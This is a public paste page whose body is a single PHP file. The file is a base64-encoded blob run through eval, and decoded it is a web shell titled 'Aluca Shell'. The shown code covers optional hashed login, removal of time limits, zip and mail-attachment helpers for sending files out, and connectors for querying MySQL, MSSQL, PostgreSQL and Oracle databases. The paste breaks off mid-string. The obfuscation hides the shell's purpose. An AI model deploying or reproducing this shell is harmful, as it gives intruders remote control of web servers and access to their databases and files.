All pastes #556314 Raw Edit

Someone

public text v1 · immutable
·published 2007-06-10 14:53 UTC
rendered paste body
<?php
eval(base64_decode('JGxhbmd1YWdlPSdlbmcnOw0KJGF1dGggPSAwOw0KJG5hbWU9JzZjZjZiZTBiZjVjODQ4YmQ1ZGE4OWVlYTQ0MmRjZGNhJzsgLy8vLyB2bnMzY3VyaXR5DQokcGFzcz0nZDQ1NDU5ZGMxNDU4NzM2YTAxOTU1ZDVlZjg4MmFjZWEnOyAvLy8vIGdpYWl0aG9hdA0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCk7DQpzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQokdmVyc2lvbiA9ICcxLjMxJzsNCmlmKHZlcnNpb25fY29tcGFyZShwaHB2ZXJzaW9uKCksICc0LjEuMCcpID09IC0xKQ0KIHsNCiAkX1BPU1QgICA9ICYkSFRUUF9QT1NUX1ZBUlM7DQogJF9HRVQgICAgPSAmJEhUVFBfR0VUX1ZBUlM7DQogJF9TRVJWRVIgPSAmJEhUVFBfU0VSVkVSX1ZBUlM7DQogJF9DT09LSUUgPSAmJEhUVFBfQ09PS0lFX1ZBUlM7DQogfQ0KaWYgKEBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQ0KIHsNCiBmb3JlYWNoICgkX1BPU1QgYXMgJGs9PiR2KQ0KICB7DQogICRfUE9TVFska10gPSBzdHJpcHNsYXNoZXMoJHYpOw0KICB9DQogZm9yZWFjaCAoJF9DT09LSUUgYXMgJGs9PiR2KQ0KICB7DQogICRfQ09PS0lFWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7DQogIH0NCiB9DQoNCmlmKCRhdXRoID09IDEpIHsNCmlmICghaXNzZXQoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkgfHwgbWQ1KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIT0gJG5hbWUgfHwgbWQ1KCRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSE9ICRwYXNzKQ0KICAgew0KICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iaENlLUdyT3VQICsgQWx1Q2FSIicpOw0KICAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkJyk7DQogICBleGl0KCI8Yj5Db250YWN0IDxhIGhyZWY9aHR0cDovL2hjZWdyb3VwLnZuLyA8L2E+IDogQWNjZXNzIERlbmllZDwvYj4iKTsNCiAgIH0NCn0NCiRoZWFkID0gJzwhLS0gRWRpdGVkIGJ5IEFsdWNhciAtLT4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QWx1Y2FyIFNoZWxsPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCg0KPFNUWUxFPg0KdHIgew0KQk9SREVSLVJJR0hUOiAgI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpjb2xvcjogV2hpdGU7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCmNvbG9yOiBXaGl0ZTsNCn0NCi50YWJsZTEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiBXaGl0ZTsNCn0NCi50ZDEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpmb250OiA3cHQgVmVyZGFuYTsNCmNvbG9yOiBXaGl0ZTsNCn0NCi50cjEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpjb2xvcjogV2hpdGU7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICBCbGFjayAxcHggb3V0c2V0Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogV2hpdGU7DQp9DQppbnB1dCB7DQpib3JkZXIJCQk6IHNvbGlkIDFweDsNCmJvcmRlci1jb2xvcgkJOiBXaGl0ZSBXaGl0ZSBXaGl0ZSBXaGl0ZTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogOHB0IFZlcmRhbmE7DQpjb2xvcjogV2hpdGU7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiBXaGl0ZTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogOHB0IFZlcmRhbmE7DQpjb2xvcjogUmVkOw0KfQ0Kc3VibWl0IHsNCkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQp3aWR0aDogMzAlOw0KY29sb3I6IFdoaXRlOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6IFdoaXRlOw0KfQ0KQk9EWSB7DQoJU0NST0xMQkFSLUZBQ0UtQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLVRSQUNLLUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6IFdoaXRlDQptYXJnaW46IDFweDsNCmNvbG9yOiBSZWQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCn0NCi5tYWluIHsNCm1hcmdpbgkJCTogLTI4N3B4IDBweCAwcHggLTQ5MHB4Ow0KYm9yZGVyCQkJOiBXaGl0ZSBzb2xpZCAxcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQp9DQoudHQgew0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoNCkE6bGluayB7DQoJQ09MT1I6ICMzNDcyMDI7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzM0NzIwMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQo8L1NUWUxFPg0KPHNjcmlwdCBsYW5ndWFnZT1cJ2phdmFzY3JpcHRcJz4NCmZ1bmN0aW9uIGhpZGVfZGl2KGlkKQ0Kew0KICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOw0KICBkb2N1bWVudC5jb29raWU9aWQrXCc9MDtcJzsNCn0NCmZ1bmN0aW9uIHNob3dfZGl2KGlkKQ0Kew0KICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnYmxvY2tcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTE7XCc7DQp9DQpmdW5jdGlvbiBjaGFuZ2VfZGl2c3QoaWQpDQp7DQogIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9PSBcJ25vbmVcJykNCiAgICBzaG93X2RpdihpZCk7DQogIGVsc2UNCiAgICBoaWRlX2RpdihpZCk7DQp9DQo8L3NjcmlwdD4nOw0KY2xhc3MgemlwZmlsZQ0Kew0KICAgIHZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsNCiAgICB2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7DQogICAgdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KICAgIHZhciAkb2xkX29mZnNldCAgID0gMDsNCiAgICBmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KICAgICAgICAkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCiAgICAgICAgaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQogICAgICAgICAgICAkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQogICAgICAgICAgICAkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfA0KICAgICAgICAgICAgICAgICgkdGltZWFycmF5Wydob3VycyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJheVsnc2Vjb25kcyddID4+IDEpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKQ0KICAgIHsNCiAgICAgICAgJG5hbWUgICAgID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7DQogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07DQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQogICAgICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KICAgICAgICAkZnIgICAuPSAiXHgxNFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAiXHgwOFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAkaGV4ZHRpbWU7DQogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCiAgICAgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gZ3pjb21wcmVzcygkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KICAgICAgICAkY19sZW4gICA9IHN0cmxlbigkemRhdGEpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNyYyk7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ3YnLCAwKTsNCiAgICAgICAgJGZyICAgICAgLj0gJG5hbWU7DQogICAgICAgICRmciAuPSAkemRhdGE7DQogICAgICAgICR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDE0XHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICRoZXhkdGltZTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KICAgICAgICAkdGhpcyAtPiBvbGRfb2Zmc2V0ICs9IHN0cmxlbigkZnIpOw0KICAgICAgICAkY2RyZWMgLj0gJG5hbWU7DQogICAgICAgICR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGZpbGUoKQ0KICAgIHsNCiAgICAgICAgJGRhdGEgICAgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBkYXRhc2VjKTsNCiAgICAgICAgJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7DQogICAgICAgIHJldHVybg0KICAgICAgICAgICAgJGRhdGEgLg0KICAgICAgICAgICAgJGN0cmxkaXIgLg0KICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4NCiAgICAgICAgICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuDQogICAgICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLg0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4NCiAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuDQogICAgICAgICAgICAiXHgwMFx4MDAiOw0KICAgIH0NCn0NCmZ1bmN0aW9uIGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpDQogew0KICAgIGdsb2JhbCAkY29udGVudF9lbmNvZGluZzsNCiAgICBnbG9iYWwgJG1pbWVfdHlwZTsNCiAgICBpZiAoJGNvbXByZXNzID09ICdiemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmJ6Mic7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1iemlwMic7DQogICAgICAgICRmaWxlZHVtcCA9IGJ6Y29tcHJlc3MoJGZpbGVkdW1wKTsNCiAgICAgfQ0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ2d6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmd6JzsNCiAgICAgICAgJGNvbnRlbnRfZW5jb2RpbmcgPSAneC1nemlwJzsNCiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi94LWd6aXAnOw0KICAgICAgICAkZmlsZWR1bXAgPSBnemVuY29kZSgkZmlsZWR1bXApOw0KICAgICB9DQogICAgIGVsc2UgaWYgKCRjb21wcmVzcyA9PSAnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpDQogICAgIHsNCiAgICAgCSRmaWxlbmFtZSAuPSAnLnppcCc7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vemlwJzsNCiAgICAgICAgJHppcGZpbGUgPSBuZXcgemlwZmlsZSgpOw0KICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwgc3Vic3RyKCRmaWxlbmFtZSwgMCwgLTQpKTsNCiAgICAgICAgJGZpbGVkdW1wID0gJHppcGZpbGUgLT4gZmlsZSgpOw0KICAgICB9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAJJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOw0KICAgICB9DQogfQ0KZnVuY3Rpb24gbWFpbGF0dGFjaCgkdG8sJGZyb20sJHN1YmosJGF0dGFjaCkNCiB7DQogJGhlYWRlcnMgID0gIkZyb206ICRmcm9tXHJcbiI7DQogJGhlYWRlcnMgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7DQogJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogIi4kYXR0YWNoWyd0eXBlJ107DQogJGhlYWRlcnMgLj0gIjsgbmFtZT1cIiIuJGF0dGFjaFsnbmFtZSddLiJcIlxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuXHJcbiI7DQogJGhlYWRlcnMgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkYXR0YWNoWydjb250ZW50J10pKS4iXHJcbiI7DQogaWYoQG1haWwoJHRvLCRzdWJqLCIiLCRoZWFkZXJzKSkgeyByZXR1cm4gMTsgfQ0KIHJldHVybiAwOw0KIH0NCmNsYXNzIG15X3NxbA0KIHsNCiB2YXIgJGhvc3QgPSAnbG9jYWxob3N0JzsNCiB2YXIgJHBvcnQgPSAnJzsNCiB2YXIgJHVzZXIgPSAnJzsNCiB2YXIgJHBhc3MgPSAnJzsNCiB2YXIgJGJhc2UgPSAnJzsNCiB2YXIgJGRiICAgPSAnJzsNCiB2YXIgJGNvbm5lY3Rpb247DQogdmFyICRyZXM7DQogdmFyICRlcnJvcjsNCiB2YXIgJHJvd3M7DQogdmFyICRjb2x1bW5zOw0KIHZhciAkbnVtX3Jvd3M7DQogdmFyICRudW1fZmllbGRzOw0KIHZhciAkZHVtcDsNCg0KIGZ1bmN0aW9uIGNvbm5lY3QoKQ0KICB7DQogIAlzd2l0Y2goJHRoaXMtPmRiKQ0KICAgICB7DQogIAkgY2FzZSAnTXlTUUwnOg0KICAJICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0NCiAgCSAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgCSAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAJICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAJIGJyZWFrOw0KICAgICBjYXNlICdNU1NRTCc6DQogICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMTQzMyc7IH0NCiAgCSAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgCSAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nLCcuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAgICAgaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOw0KICAgICBicmVhazsNCiAgICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnNTQzMic7IH0NCiAgICAgICRzdHIgPSAiaG9zdD0nIi4kdGhpcy0+aG9zdC4iJyBwb3J0PSciLiR0aGlzLT5wb3J0LiInIHVzZXI9JyIuJHRoaXMtPnVzZXIuIicgcGFzc3dvcmQ9JyIuJHRoaXMtPnBhc3MuIicgZGJuYW1lPSciLiR0aGlzLT5iYXNlLiInIjsNCiAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOw0KICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSByZXR1cm4gMDsNCiAgICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG9jaWxvZ29uKCR0aGlzLT51c2VyLCAkdGhpcy0+cGFzcywgJHRoaXMtPmJhc2UpOw0KICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIH0NCiAgICByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gc2VsZWN0X2RiKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgCSBpZihAbXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQoNCiBmdW5jdGlvbiBxdWVyeSgkcXVlcnkpDQogIHsNCiAgICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG15c3FsX3F1ZXJ5KCcvKicuY2hyKDApLicqLycuJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpDQogICAgICB7DQogICAgICAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgICAgcmV0dXJuIDA7DQogICAgICB9DQogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0NCiAgICAgcmV0dXJuIDI7DQogIAlicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IGVycm9yJzsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9IEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IHBhcnNlIGVycm9yJzsNCiAgICAgIH0NCiAgICAgZWxzZQ0KICAgICAgew0KICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpDQogICAgICAgew0KICAgICAgIGlmKEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKSAhPSAwKSByZXR1cm4gMjsNCiAgICAgICByZXR1cm4gMTsNCiAgICAgICB9DQogICAgICAkZXJyb3IgPSBAb2NpZXJyb3IoKTsNCiAgICAgICR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsNCiAgICAgIH0NCiAgICBicmVhazsNCiAgICB9DQogIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpDQogIHsNCiAgICR0aGlzLT5yb3dzPWFycmF5KCk7DQogICAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOw0KICAgJHRoaXMtPm51bV9yb3dzPSR0aGlzLT5udW1fZmllbGRzPTA7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAgCSAkdGhpcy0+bnVtX3Jvd3M9QG15c3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAJICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAJIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBteXNxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAJIEBteXNxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgCSBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAJICR0aGlzLT5udW1fcm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogIAkgJHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogIAkgd2hpbGUoZmFsc2U